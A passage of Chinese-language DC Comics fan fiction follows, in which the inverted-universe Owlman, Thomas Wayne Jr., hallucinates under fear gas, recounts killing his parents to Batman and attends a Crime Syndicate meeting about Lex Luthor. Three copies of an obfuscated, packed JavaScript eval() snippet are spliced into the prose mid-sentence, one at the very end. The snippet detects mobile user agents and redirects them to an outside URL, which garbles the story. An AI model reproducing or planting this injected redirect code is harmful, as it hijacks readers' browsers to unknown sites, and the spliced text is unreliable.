跑出来添乱准备的,现在倒是逮到一条大鱼,我猜小丑也没想到……我是说他们现在被困在机关里!利爪晕过去了,里面只有一个防毒面具,夜枭八成不会自己用,那他现在很难解开谜题,我们就得从外面破解,问题是,咳,机关谜底的正确答案是小丑设置的,我不知道。” 这话说出来谜语人自己都觉得尴尬。 幸好他视线模糊,别人嘲讽他他也看不见。 蝙蝠侠加重语气道:“题目是什么?” “‘犯罪巷里动手的人的名字’。” 谜语人说完停顿了一下,见到蝙蝠侠抬手摸腰带——这动作真是该死的眼熟,让人PTSD——连忙补充:“下楼之后你就能见到门锁!你有办法连接这里的安全系统吧?” 后者像影子似的掠过他身侧,谜语人刚松了口气,黑色的斗篷突然扬起笼罩视线,耳边响起似有似无的蝙蝠鸣叫声,三道蝙蝠镖长了眼睛似的从他身后袭来,其中一枚能放电的正中脖颈。 爱德华·尼格玛:“!!!” 他的头和氪石猫头鹰雕像再次来了个亲密接触。 剧痛中,谜语人昏过去前的最后一个念头是:草!这次飞镖数量比上次多了两个!连这点也和夜枭一模一样,蝙蝠侠到底是…… 这个谜题大约将在未来的很长一段时间里,都会像今天的鼻血一样持续困扰着他。 ** 布鲁斯·韦恩走下楼梯。 越往下走稻草人毒气散布得越是浓郁,他手边没有合适的过滤装置,现在去取又来不及。不过他对自己宇宙稻草人的恐惧毒气有一定抗性,这里克莱恩博士作为……义警,未必会研究出以恐惧慑人的毒剂,但是他能选择的致幻类药物主成分殊途同归,蝙蝠侠合理估计,他撑到破解了被小丑篡改的安全装置密码再把夜枭和利爪带出来,应该问题不大。 就算有问题,有些事也必须去做。 他想着之前谜语人播放的录音、小丑的暗示、小托马斯对韦恩夫妇的冷淡、反转宇宙的细节……还有,小丑拖着陌生的背叛夜枭的俘虏离开了。 那个人有五成可能活下来,小丑之前棒球棍不是冲着要害去的,他想让他活着,起码发泄完愤怒和厌恶之前那人不会死。甚至站在小丑的角度上想,他更可能在玩够了之后把还活着的叛徒还给夜枭,让小托马斯·韦恩亲自去审判和实施报复,而他们都知道这是种嘲弄——看吧,你王国的基石都是些垃圾、废物、败类、渣滓。 看吧,这就是你养出来的会反咬主人的狗。 看吧,你就是你把旁人拉扯进这场游戏又不收紧缰绳的下场。 看吧……这就是这个世界剥下粉饰繁华的外皮后的样貌。 反复无常的小人,同床异梦的夫妻,忍受恐惧的孩子。 推杯换盏,纸醉金迷,花园的井下埋着尸体。 无能为力的政府,贪污受贿的官员,麻木苟活的民众。 城市阴雨连绵不歇,枭鸟站在树梢上彻夜长鸣。 “我有罪。” 扮作猫头鹰的男人五指交叉,面对着圣经低语。 “并且想把罪责分摊到另一个人身上。” 这世上没有上帝,罪孽在人间行走。 韦恩夫人说:“向我献媚,我便愿意爱你。” 男孩说好吧,母亲,如果是这样,那么我也爱你。 ——我们当中一定至少有一位异于常人。 否则这份爱怎么会被归于罪状? 又有哪位医生、哪本书能判断一个人是否疯狂?当阴暗的气息自未来前路的深处扑面而来时,谁又在乎? “砰——” 枪响之后,活下来的人就是正确。 ** “‘犯罪巷里动手的人的名字是’?” 蝙蝠侠半跪在地面上,胸腹起伏的幅度近乎凝固,时间不等人,他毫不犹豫地在破译器上输入一行字母。 “滴滴”两声,破译器边缘亮起绿灯,显示密码正确。 封锁地下室的大门敞开了。 21. 陈年旧事 ——我就知道当我的复数个对手集体出现时,事情肯定没那么简单。 这吐槽纯粹就是马后炮,现在说也晚了。我觉得我还是要反思一下,究竟是什么导致了翻车? 首先我下属背叛是我管理失当。虽然当时我人不在哥谭,不过这都是借口,小丑早晚能找到漏洞,下次选址还应该更偏僻一点,不能因为自己喜欢就随便在市区里搞违建。众所周知哥谭地下已经快要被一代又一代人挖空了,我默认它是垃圾堆并继续往上添砖加瓦的行为依旧需要否定。 但除了这条,我反复思考,还是觉得巧合的成分更大一点。 如果我不是今天回来,就不会让布鲁斯去安全屋。如果他没去安全屋,迪克就不会被派去领人。如果他们两个不在,小丑的陷阱顶多困住我一个人,更有可能被我提前发现然后连带着这栋房子一起清理掉。 还是那句老话,人倒霉,我喝凉水,冰得牙疼。 韦恩庄园是主要待客场所,我又不像蝙蝠侠还有个蝙蝠洞,不想见人的重要物品只好向外转移。海边别墅我看见就心烦,基本上常年空置,这座安全屋则是被我当成仓库来用的,反正暴露的概率不大……以前我是这么以为的。 现在就很尴尬。 是需要连夜搬出哥谭的程度。 我们地球和外星人交流的次数不多,各方面发展都落后于主宇宙同胞,不知道宇宙里除地球外有没有适合人类生存的星球,我还年轻,搬家可以往远点走,下次若是有机会再见到正义联盟可以咨询下相关业务。 话又说回来,我当年一度想做掉阿尔弗雷德,因为他知道我的黑历史。 现在我因此需要解决的对象正呈指数增加。 然而我甚至没办法切实做出行动。事实上我站在原地至少超过二十分钟,这还是我在偶尔清醒的间隙、通过爆炸后仍然坚持运转的机械表确认的。 而在我的感知中,时间已经过去很久了。 这就不得不提到稻草人和他的毒气。 稻草人是个很不错的心理学家兼化学家。在我们的世界所有人都孜孜不倦地钻研着犯罪事业,越是头脑发达站在金字塔顶端的人物越是想象力出众,常常让我感慨他们对开发新捷径的执着程度。而稻草人他不想着怎么贩卖自己的毒气去捞一笔钱养老,精神头大部分都放在和哥谭统治势力作对上,勉强也能算作其中的一股清流了。 接着说到毒气,已知目前致幻剂根据化学结构大致分为苯烷胺类和吲哚烷胺类,易造成精神紊乱及体象障碍等心理效应,并产生假性幻觉。简而言之就是致幻剂造成的幻觉并不依赖于看到或者听到的客观内容、而存在于大脑之中,可能导致情绪不稳、自制力减退及时间感丧失等后果。 又因为中毒的人是我,不管是情绪不稳还是自制力减退对我身边人都很危险。 理查德·格雷森还在我旁边,我需要……理查德? 我看着自己在纸上写下的名字眨了眨眼。 旁边面目模糊的同事用手肘撞撞我,小声说道:“主管瞪你呢,他讲话你发什么呆?” 我发现自己手里拿着圆珠笔,正在草稿纸上写写画画,最后一个单词是英文字母拼成的‘理查德·格雷森’。 前方是空旷宽敞的会议室,同样面孔一片空白的中年人站在大屏幕前絮絮叨叨,说话声音时而清晰时而微不可闻。 我又看看身边的人,总觉得他是个熟人,我们的关系应该不错,但我连他的名字都记不起来。 “别看我啊。”他踹了我一脚,“往前看往前看,你才刚入职怎么就敢光明正大会上摸鱼?这笔记上写的什么玩意,洋名?” 说话间,台上发言完毕,所有人陆续站起身离开,我也随大流站起来,看着身上的廉价西装又愣了愣。同事这回光明正大地凑过来念:“RichardGrayson……你最近开始看超级英雄的漫画了吗?” “什么?”我问。 “迪克呀。”同事说,“是蝙蝠侠漫画里面的角色吧。” 我说:“我不看美漫,你也不看。” 同事回答:“是,所以我就知道这两个人,还有正联复联什么的。” 他走在前面带领着我,我们沿着公司曲折的、时不时还断裂开的道路往楼下走,所有人都对身边的异常视而不见。路过窗户时我往地面看了一眼,熟悉又陌生的街道上车水马龙,柏油路向远方延伸,最终逐渐消失不见,仿佛我们正生活在一座漂浮于虚空的孤岛上。 我一刹那间意识到,同事说他知道漫画角色和正联,是因为我在主宇宙里了解了这些。这是我的记忆结合我的认知构造出的幻觉,至于我记不清的东西,就只能以扭曲错乱或者一片空白来填补。 可是我是谁? ——我刚才想到什么来着? “■■,”同事随口叫了个两字或者三字的中国名字,在我耳边轻飘飘飞过,没有留下半点痕迹,“你晚上是去和女朋友约会还是回家吃饭?” “……” “■■?” “抱歉。”我慢慢地说,“我应该是回家。” 同事怪异地看了我一眼:“你说话语气怎么这么奇怪?” “怎么了?” “说不清。”同事摸摸下巴,满脸疑惑,“就是觉得你和以前不太一样了,比方说你以前从来不在开会的时候走神啊?” 他说话时我抚摸着自己的指关节内侧,那里生长着一层老茧,不像是写字形成的。 我心不在焉地回答他:“人总是会变的。” “你……你最近遇到什么困难了吗?” 我已经检查完自己的手了。公司的玻璃不反光,我想摸摸脸颊感受下自己长什么样,但大庭广众下做出这个举动有点奇怪,我克制住动作扭头看他:“为什么这么问?” “我不知道。” 同事叹了口气,“如果你遇到什么事一定要告诉我,我可就你一个兄弟,也别藏着掖着觉得不好意思,谁还没点窘迫的时候呢?大家同舟共济共渡难关嘛。要是你不声不响的变成别的样,我们的关系就远啦。” “我要去趟厕所,你来不?” 卫生间有镜子,我立刻答应下来:“走。” “你今天话怎么这么少?你的吐槽精神呢?” 我没回答。我也依稀觉得自己似乎理应是个健谈的人,但是现在半句话憋不出来,总不能硬说吧? 在我单方面的沉默中,我们穿过走廊来到拐角的男卫生间。同事解决个人问题时,我就站在镜子前面打量我自己。 意外或者说意料之中的——平面镜中倒映出一个黑发蓝眼、有明显欧美人长相特征的面孔。我平静地和镜子里面的自己对视,渐渐的,他露出一个讥讽的表情,用口型说:这就是你就想要的? 我垂在腿侧的指尖不自然地抽搐了一下,有点像睡梦中错觉自己一脚踏空,心中惶恐得有些莫名。 同事的声音打断了我发散的思维。他走过来抱怨:“就算你长得帅,天天看这张脸还看不腻。走了走了,我今天要去你家里蹭饭,叔叔阿姨做什么吃的?” 我想问他你看我是什么样?问题滑到嘴边又觉得索然。 很多时候我想说点东西,却觉得没意思。说了改变不了什么,其他人理解也有限度,不如闭上嘴做自己该做的事。 回家路上的经历同样乏善可陈。街上百分之百的人都长着模糊不清的脸,我懒得一一分辨他们是谁,只是单纯跟着同事左拐右拐。他大约知道我家在什么地方,我自己却记不清了,于是走过的路都和迷宫一样,除了出口的房子被定义为‘家’之外,没有任何特殊之处。 我们在生锈的防盗门前停住脚步。 同事想要去叫门,我看着那扇显得比其他事物都更真实的门扉,心脏加速跳动,一把扯住他的胳膊把他拉了回来。 “嘶——”他倒抽一口气,“你这力气也太大了,干什么啊?不想进家门?你是不是和你家里人吵架了?” “没有,我的父亲和母亲从不与我吵架。”我说,“你之前叫我什么?” “■■啊,”他用开玩笑的语气说,“你有病吧,这有什么好问的?” 我问他:“那托马斯·韦恩是谁?” “……” 我低头看着自己的手,这是一双多么适合执握利器的手? 这么想着,我发现我指尖正夹着一只猫头鹰形状的飞镖。 我随手把它扔出去,看着这做工精美的小玩意优雅地在空中旋转了一圈,最后翅膀的一角精准地插在了前方防盗门的猫眼上。 再垂下头时,我的手指上覆盖着层灰黑色的盔甲,金属反射出冰冷而锋锐的光线。 我忍不住笑起来,又问他:“你见到过穿成这样的人吗?我能在漫画里领什么剧本?” “……” 他还不开口,我最后说道:“你应该叫我夜枭了吧。” “……” “……” “■■。”他还执着地叫着那个我都不记得的名字,对我恳求道,“到底是为什么?你就不能说说看?我们不是朋友吗?昨天还相处得好好的,你只要装作什么都没发生过,我们就可以回家了啊。” “你自己都说那是漫画世界,哪有非要回去的理由?在这里你什么想要东西都有,天塌下来高个的人顶,怎么过都是一辈子,不比在哥谭轻松吗?” 我说:“我是托马斯·韦恩。” 他愕然看着我。 “我是夜枭。” 有时候我会想,如果穿越时没有带着这段记忆会不会更轻松点,但既然事已至此倒不如坦然承认,我作为托马斯·韦恩生活的二十多近三十年时光远比我过去来得丰厚;当我殚精竭虑地挣扎着活到今天时,所付出的心血也远胜过旧日单薄的努力。因此不管我主观上是否愿意,我现在认同的是夜枭这个身份而非其他。 我在同事难过的视线里放缓语调做了总结:“每个人每时每刻都会改变,谁也不能留在过去。” 我早就不再是当初那个我了。 与其说我和曾经的友人渐行渐远,实际上,这里早已是在梦中都不会浮现的理想乡。 “你刚才说想要见我的父母,”我彬彬有礼地说,“我不建议你这么做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064592|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们的友善程度相当有限。” 我的朋友、我的兄弟安静下来。 这时他看起来像另外的人了。 我知道这仍是我的幻觉,布鲁斯·韦恩身披蝙蝠侠的斗篷站在我面前,像庄园下被海浪拍打着的漆黑的礁岩,像大洋上矗立的灯塔,也像是我摆在院子里的、亘古不变的墓碑。这样缄默着的身影就仿佛在向我作保证:我们会永恒地得救。人间生活不断向前运转,直到有一天,一切都趋于完善*。 我推开我身前的防盗门。 我知道韦恩夫妇从地狱中短暂归来的亡灵正在其中等待我。我一次次踏上这样的战场并习以为常,将它视作日常的一部分,时刻举着枪等待扣下扳机的那一刻。 “砰——” 然后我便能够在恐惧的余韵中享受片刻安宁。 ** “你以前遇到这种情况是怎么解决的?”当我清醒过来毫不意外地发现自己和蝙蝠侠打成一团的时候,忍不住问他,“我指的是恐惧毒气。” 紧接着我意识到他也是养过罗宾鸟的人,那没事了。 他松开反剪我的手,我也停止了反击,我们之间隔着合适的社交距离,于是我又想起这栋房子里面储存的东西、以及蝙蝠侠可能听到看到的内容。 我:“……” 我隐隐觉得情绪上头,并把它归罪于稻草人毒气,努力控制了半晌,问道:“阿尔弗雷德来过了?” “是。”说话时布鲁斯并未放松,大概是察觉到我状态不对劲,或者很了解致幻剂的后遗症,“他先把迪克接走了,说等你醒来之后再决定怎么处理安全屋。” 我太阳穴直跳:“没什么好处理的,有人会为此付出代价。” 我说得轻描淡写,但蝙蝠侠不会误会我的意思,他绷着表情什么都没说。 我也在尽量缓解自己由药物带来的紧张情绪,我们俩就在这栋报废了一大半的房子里默不作声地站了一会。几分钟后我注意到我身边杂物堆里录音机有启动过的迹象,蝙蝠侠适时开口:“谜语人听过这张磁带。”又不赞同道,“你现在不适合过度用脑。” “这取决于‘过度’的标准。”我看着那张塑料外壳磨损严重的磁带,“尼格玛肯定特别想知道我是怎么拿到这份录音的。” “……” 我:“你不感兴趣?” 蝙蝠侠:“你那时候就开始和阿尔弗雷德合作了?” 我们几乎同时开口。 “我以为在大多数人眼中这不叫‘合作’,而叫‘狼狈为奸’……对,没错,我四岁前韦恩夫妇在家的时间比较少,阿尔弗雷德是唯一照顾过我的人。所以当我说我想要录下和我父母对话时,他答应了。” “他知道你父母是什么样的人。”布鲁斯说这话的时候带着点怒气,“他也知道你不知道。可是他还是答应了——局外人既不忠于你的父母,也不忠于你。” 我笑道:“是,他那时候不忠于我们家的任何人。他和韦恩夫妇各取所需,挑他自己喜欢的事情做。这种人在我们这里很普遍……刚才说到哪了,哦,在他的帮助下,我弄了表里两份录音,我妈妈只销毁了其中之一。准备两份也是他提议的,我当时就该意识到不对,不过我那时候有些缺乏敏|感性。” “……” “后来这份录音成为我威胁他同我合作的筹码之一。我告诉他如果他不听从我,我就将这份录音作为他背叛的证据递给韦恩夫妇,他们肯定信任自己的儿子多过管家。再加上其他零碎的内容,最后阿尔弗雷德答应同我一起策划犯罪巷内的行动。” “……” 我说到这本来以为自己能一气呵成地讲出这件陈年旧事,结果事实证明,我还是高估自己了。我宁可去考虑搬到宇宙里第二颗宜居星球需要花费多少人力物力,也不想再继续这个话题。 反而是布鲁斯说道:“是这个时间?” 他向我示意我收藏品里阿尔弗雷德的怀表。 我讶异地看着它,都快不记得是什么时候放过来的了,但上面的时间点足够刻骨铭心:“是。” 这时候要是在喧闹的场合就好了,不会让我们谁都不说话时显得太沉闷。 “……我第一枪打中了我的母亲。”我继续说,“她倒在血泊里,我记得她最喜欢的一条珍珠项链散了一地。我父亲吓坏了,做不出反应,我本该在那时速战速决,但是我……”我不动声色地吸了口气又吐出来,让眼前浮现的迟发性幻觉消褪下去,“我八岁时缺乏经验——杀人的经验。” “可以了。”蝙蝠侠斩钉截铁地说道,“接下来的事可以之后再谈,我们先回韦恩庄园。” “布鲁斯……我没看住我弟弟,他扑上去了,想要阻拦我。”我没理睬他,自顾自地翘着嘴角道,“但是离开枪膛的子弹哪有收回来的道理?这一枪还是瞄得很准,我没有经验,不过幸好还算有天赋,所以才能在我父母手里活下来。” “从那以后我就吸取教训,该杀的人不能多留哪怕半秒钟。” 我对蝙蝠侠说道:“我要去找小丑,我和他、以及他手里我养的狗还有一笔账要算。” 22. 整个大新闻 当天上午收拾差不多之后,我和蝙蝠侠就回到了韦恩庄园。他和理查德·格雷森因为巧合才对上小丑,其他人不知道,只会以为我是故意安排人在那接应的,这样反倒给布鲁斯套上一层伪装,不会让超霸他们立刻往平行宇宙的方向想。 韦恩庄园算是我的常用办事处,平日里会邀请属下或者交易对象过来联络感情,偶尔举办一些散发出资本主义腐败气息的宴会。就算媒体再好奇我每天呆在家里不出门的时候都在干些什么,他们也不敢像报道蝙蝠侠那样起个震惊标题胡乱猜测,更不敢真的把长枪短炮伸进我的花园里,所以布鲁斯住进来这件事没掀起半点水花,哥谭市仿佛从未失去过它的统治者,接下来的几天里都风平浪静。 总算给我挽回了点颜面,我就说人是不会一直倒霉下去的。 理查德清醒之后表现得很愧疚。 但我对他挺满意,这个年纪的小孩愿意听话就不错了——隔壁夜翼不知道为什么跑去单干的前景还历历在目,先不提他们俩的差别,就说我们世界风水险恶、全员恶人,叛逆期很可能带来血的教训,因此我时刻提防理查德冒出什么突发奇想、打算脱离我管控。 这次他受到打击,深刻意识到自己的不足,在我面前小心翼翼地道歉了一上午,我都不好说我觉得你现在挺好的、以后还有进步空间。 理查德口述检讨书的时候,阿尔弗雷德就在旁边假装没听见,韦恩庄园的承重柱都比他有用。 问题是蝙蝠侠也在现场。 他名义上是韦恩庄园的客人,身份又很特殊。我没法像我在隔壁宇宙时候他做的那样、营造出表面和谐的气氛,理查德还在为本来就冷漠无情的家庭氛围殷勤做贡献。 短短半个小时,客厅中静寂得针落可闻,小孩被我沉默的态度吓到,茫然又紧张地闭上嘴。我之前说过理查德每次和我相处的时候,我们之间总会不可避免沦落到他单方面努力捧场的地步,这次更糟糕,他觉得我会生气,连讲冷笑话活跃气氛都不敢了,而我则在安慰鼓励与指出不足之间犹豫不决。 最后我两相结合,公事公办地称赞他到场及时,任务完成的不错,后续发展出乎预料谁也不想的,他受限于经验应对谜语人时有些失当,反正这次运气好没缺胳膊少腿,未来还有改进机会。 这番话说完,理查德松了口气,看上去有点高兴又有点失望。他站起来的时候望望蝙蝠侠又看看我,有那么一会做出一个靠近的动作,但是最终还是克制住没动。 我觉得我这时候应该说些什么。 不过想了想也只是道:“你活着对我来说更有用,理查德。别做危险的事。” 理查德认真地回答我:“如果再遇到危险情况,我争取不让您过来救我。” 我:“……”这是要么自立要么自尽的意思? 虽然他愧疚点主要是我为救他中了稻草人毒气,但这话还是很欠打啊!培育成本就不是成本吗?我养孩子难道是为了看他在未来的某一刻从容赴死吗? 我差点被气笑了,冷淡地说:“你应该做到的是不让这种事发生第二次。” 他眼睛一亮:“您要从源头上解决问题?” 我倒是想,可是哪里是源头,小丑?站在历史观的角度上,他算什么?我算什么? 时间的浪潮拍打着所有人前进,我和我的老对头就像两只即将脱水的螃蟹非要在地狱门前争个对错,把每天都当做最后一天来过,于是哥谭这座城市反倒显露出热烈的欣欣向荣来。 我不置可否:“不管是不是这也不是你的任务,你要做的是提高自己实力未雨绸缪。” 这就是终结话题的意思。理查德还想继续,仍然不敢,欲言又止地徘徊几秒钟,终于放弃不情不愿地回房间补习功课去了。 剩下我和蝙蝠侠大眼瞪小眼。我们从凌晨交流完之后就没怎么说过话——布鲁斯知道的太多了,我相信我的个人形象在他眼中正在向一个不可预测的方向下滑。 他还没对我和小丑相关的危险发言表达意见,我们都不想吵架也不可能打架,而我之前言论很大程度上收到了稻草人毒气的影响,显得不够委婉和正常。 虽然从道理上讲,会做出杀死自己父母这种决定的人本身就不像个正常人。 但我始终坚持我自我认知明确、思维逻辑正常,完全不需要心理医生,偶尔偏激只能说人类行事的上限和下限都是不可预测的。互相理解始于沟通,可是被认为喝醉的人无法证明自己清醒,同理我的解释毫无必要。 我只遗憾于,这时候哥谭市花花公子怎么就不想着彰显一下自己应付媒体的口才呢……和他不管聊什么也比我计划着怎么从小丑手里扳回一局有意思得多。如果他愿意随便找个话题,我就很高兴能把乱七八糟的正事与理不清的过去抛在脑后了。 ** 两天时间,布鲁斯除了寻找回去的方式方法、继续从老宅里套情报、以及关注夜枭的状态以外,就在思考自己到底要不要参与这个世界里的任何事。 以往在和大部分平行宇宙接触时,正义联盟通常会以正义方的盟友身份提供短暂帮助,解决特殊事件后干脆离开,后续处理还是要当地人自己负责。然而辛迪加所在宇宙的不同之处使得在这里发生任何事都能被称作“特殊事件”,偏偏又不能以简单对错、正义与否甚至是否合乎法律来一概而论。 这种差别是对底层世界观的推倒和重建。越是了解,布鲁斯越惊异于小托马斯·韦恩之前竟然能如此顺利地适应主世界。 “您认为老爷会如何看待你们,也许就是我们往日里如何看待他。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064593|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 布鲁斯当然和阿尔弗雷德有过交流。他对局外人的印象非常一般,应该说他对这个宇宙除了夜枭之外的所有人都缺乏主观上的好感,换个人站在他的角度都会忍不住指指点点说你们这是什么垃圾宇宙……蝙蝠侠好歹没有发表任何意见。 他只是在对话时稍显冷漠。 “你觉得他不正常。” “唔。”局外人的眉毛抖动了一下,戳着手杖漫不经心道,“这说明我足够了解他。不是所有人都能发现这份异常的,先生。况且您会过来问我,不就是也怀疑……也在担心他哪里不太对劲吗?” 他半途更改用词的举动显露出微妙的讥讽,布鲁斯察觉了,并不为所动:“那是毒气造成的短期后果,他需要治疗。” 阿尔弗雷德大笑:“没有治疗,我们只能自救,先生。而且我认为这不是短期症状,托马斯老爷很小的时候就与众不同,正是这种不同才成就了他今日的辉煌。” “你认为这是好事?” “人都是需要目标的。”局外人道,“您以为地位、权利、金钱、女人……这些东西能吸引他吗?让他站在今天这个位置的是别的东西,否则早在二十多年前,您了解到的那个夜晚,他就去到他喜欢的地方了。” “归根结底,”他总结说,“托马斯老爷自己并不觉得他经历过的是种无可忍受的痛苦,也不认为他失去的比得到的更多。他只是付出一点代价就获得了足够多的成长,已经比这世上绝大多数人都幸运。至于您担忧的恐惧与疯狂,不过是生活附带的微小伴礼而已。” 布鲁斯发觉他和局外人完全说不通。 或者说,阿尔弗雷德·潘尼沃斯的想法确实能代表这片宇宙里的绝大多数人。管家应该很乐意见到小托马斯杀死父母,他确实没有付出物质上的代价,并且获得了长久的、不动摇的、近乎不可能实现的前进目标。而作为蝙蝠侠,布鲁斯很难把这归类为值得高兴的成长。 是苦难磨灭了你坦然站在阳光下的能力。 他一时竟然无话可讲。 在另一个宇宙时,布鲁斯尚且能游刃有余地拿出自己光鲜亮丽的假面来应付小托马斯,偶尔还能从中感受到点不好明说的乐趣……现在反倒每次见到对方就只剩下面面相觑的份。 他几乎要打定主意完全不管这个宇宙发生的任何事——拿自己宇宙的观念要求反转宇宙就不现实,更何况蝙蝠侠不杀人本质上是约束他自己。小托马斯在他的城市愿意遵守规则,布鲁斯觉得自己应该回馈这份尊重。 然而紧接着冒出两件大新闻,使事态发展再次变得复杂起来。 一是夜枭从小丑手里接走了半死不活的背叛者。 二是辛迪加内部会议正式提出以武力威胁世界各国政府的方案,夜枭是策划者及负责人之一。 23. 保持沉默 事情还要从周末辛迪加临时组织的一场会议说起。 自从安全屋事件之后我就通知哥谭警方颁布小丑的通缉令,理由是私闯民宅、故意伤人以及在公共场合内释放有害气体。我和现任警长多年以来都保持着融洽的合作关系,收钱办事义不容辞,这次也不例外。本地电视台与报纸等媒体开始在黄金时段提醒市民注意安全,警车的鸣笛声在大街小巷中徘徊、从傍晚持续到天亮。 上次被聪明人背叛之后,我选了一个不那么灵活的家伙来接替他的位置。猫头鹰的利爪再次遍布城市的每一处阴影中,有时候还能看见我的下属与警察勾肩搭背倚着警车的引擎盖抽烟聊天。没人为城市氛围的变化感到惊慌,哥谭市居民饱经风霜无比习惯,就好像媒体说的不是有通缉犯流窜、而是又到了闹鼠患或者流行性感冒的季节。毕竟谁不知道小丑呢? 一到这种时候,哥谭就变得久违的宁静起来。酒吧和其他声色场所大多歇业了,太阳落山之后霓虹灯也没有亮起,沤着积水的石板路显露出幽蓝的色泽,下班时间过后少有人经过,水潭像镜子似的倒映着两侧建筑物尖锐的棚顶和夕阳最后一缕余晖,只有风吹过树梢时沙沙的响声和远处黑鹂鸟为赶走入侵者发出的高亢鸣叫。 今天我照旧站在哥谭塔楼上等待最后一批巡逻人员和我汇报情况。刚才过来途中听到有人交流,一个人问:“这次戒严什么时候才会结束?我好多天没去见过朱莉小姐。” 他同伴回答:“再等等,等到塔楼底下的尸体堆到能给猫头鹰垫脚的程度。”男人拿手比了一下,幸灾乐祸地笑起来,“不知道这次倒霉的人是谁?” 这大概能算作哥谭市的保留节目。 说不定还有人打算拿它做赌局。 我估计小丑要在最近几天把他捉弄够的猎物放还到显眼位置,这样能既削弱敌方实力、又在气势上战胜对手,还符合他哗众取宠的恶趣味。不过我越是确信这一点,他就非要拖到最后才把手牌亮出来。我倒是不介意他拖延,这会哥谭市比我见过它的任意一刻都更加动人,寥无人烟的街道与逐渐枯萎的行道树相对沉默,高楼大厦逆着光、像连绵起伏的黑色的动物脊骨。我觉得它现在有种空旷的、脱离实际的、凝固的美,可以在无事做时欣赏很长时间。 但无事做是不可能的,这辈子都不可能的。 半夜体谅超霸对阳光的厌恶程度,辛迪加在阴间时段召开远程临时会议。会议开展得很仓促,结束得也很快,主要是为了(向我)征集意见,是否同意招收有潜力的新成员加入组织。这位吸引到卡尔与露易丝注意力的先生全名叫亚历山大·乔瑟夫·卢瑟,通常人们称呼他为莱克斯。 我之前和卢瑟合作过很多次,商业上也时有交流,他的加入生动形象说明了出口转内销的形成原因之一还有可能是人事变动。 我不确定我们两个手里握着世界上几分之几的资源,快进到贸易顺差过大导致通货膨胀美元贬值。 而卡尔和卢瑟互相厌恶。 他们两个之间的矛盾已经刻进了DNA里,只要同时出现在同一场景内必有争论或战争发生。我对超霸居然愿意为此征求意见、而不是立刻否决感到诧异。使用过屈服套索后一直试图讨好我的露易丝说:“因为亚历山大很强吗,而且最近他变得更强了。传闻他遇到一位老巫师,被授予了魔法。” 卡尔正因为即将和卢瑟呼吸同一个屋子的空气而带上痛苦面具:“鬼知道他是怎么让人承认他的灵魂的。卢瑟有那玩意吗?” 超霸看上去迷惑不解,大受震撼,脸上写满了‘为什么那老家伙不来找我’之类的话。 我觉得氪星人与魔法之间不能说没有联系,只能说毫不相干,卡尔实在想得有点多。斟酌几秒后,我谨慎道:“关于卢瑟加入这件事,可以考虑。” 卢瑟的技能很麻烦,我觉得还是要长远考量,如果不能成为朋友,至少暂时不要成为敌人。 露易丝和我意见相同。她手里的屈服套索可能是目前地球上唯一能对卢瑟生效的武器,需要就近观察对方能力。 卡尔知道我们这是两张赞成票了:“或者还有种办法,我们在卢瑟变得更厉害之前把他解决掉。” 这倒是颇具可行性,可是——“你怎么知道卢瑟放出这个消息的时候、不是已经有把握来对付我们了?” 我们对他一无所知,他对我们了如指掌,这仗短时间内没法打。 超霸笑容渐渐消失。他面无表情地坐了一会调整心情,接受现实换了个话题:“既然夜枭回来了,我们什么时候实施计划的下个阶段?” 他说的计划指的是我们为辛迪加未来发展设立的长远目标,但基本没起到什么用处,我们组织精神突出的就是一个随心所欲,虽然写下计划书的人是我,他们决定往哪边走还是看心情。地球上氪石数量取之不尽用之不竭,作为辛迪加首领的超霸就没什么向外拓张的进取心,所以直到最近他有了平行宇宙的概念、又受到卢瑟的刺激,才开始生出正式和政府宣战的想法。 我本人以前对这项工作态度挺积极的,现在我想到家里还摆着那么大一只蝙蝠侠,就觉得事情有些棘手,于是敷衍道:“我这两天有点忙,不过武器图纸已经画好了,你们两个要看吗?” 超女王和超霸同时摇头。 我就知道。 这场临时会议最后以没人想要参与的学术讨论告终。 回去哥谭没多久我又转头去处理小丑留下的线索,路上仍旧是一地带着血腥气的鸡毛蒜皮,回到韦恩庄园时天色正好蒙蒙亮,通宵之后为了能够活得健康一点,我决定先去吃早餐。 布鲁斯这个时间点也起床了,难得作息正常的蝙蝠侠看上去神清气爽,甚至还有点无聊。我估计他现在的心情就像工作日中被迫去没有信号的深山老林度假,没事干是没事干,却不能不想自己堆积的任务和传不出去的请假条,于是清闲之余还夹着点焦虑。不过见到我之后他还是从容不迫地推过来两个盛有不同饮品的杯子,在热牛奶和咖啡之间犹豫了一番,问道:“你接下来打算休息?” “不。”我飞快取走咖啡杯留下热牛奶,看布鲁斯直视着杯沿思考人生,回答道“白天要再去一次大都会,卢瑟要准备加入辛迪加。” “他和超霸的关系很好?” “不太好。”我不确定另一个宇宙里超人和卢瑟关系,否认得很委婉,“不过按照原则,他使用赞沙之力时完全有资格加入入,就算超霸不同意其他成员也会投赞成票。” 布鲁斯:“……” 蝙蝠侠瞳孔地震。 他没有掩盖自己的惊讶之情,我不禁问道:“有什么问题?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 